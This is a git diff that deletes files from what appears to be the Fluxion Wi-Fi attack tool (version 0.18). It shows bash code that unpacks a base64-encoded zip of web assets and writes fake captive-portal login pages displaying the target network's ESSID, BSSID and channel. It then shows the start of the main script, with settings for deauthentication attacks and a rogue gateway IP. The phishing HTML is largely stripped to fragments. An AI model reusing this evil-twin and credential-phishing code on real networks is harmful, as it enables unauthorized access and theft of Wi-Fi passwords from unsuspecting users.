-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/nightly/0.18/fluxion/fluxion.3/fluxion b/nightly/0.18/fluxion/fluxion.3/fluxion deleted file mode 100644 index 11a8a1d..0000000 --- a/nightly/0.18/fluxion/fluxion.3/fluxion +++ /dev/null @@ -1,4657 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=3 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" 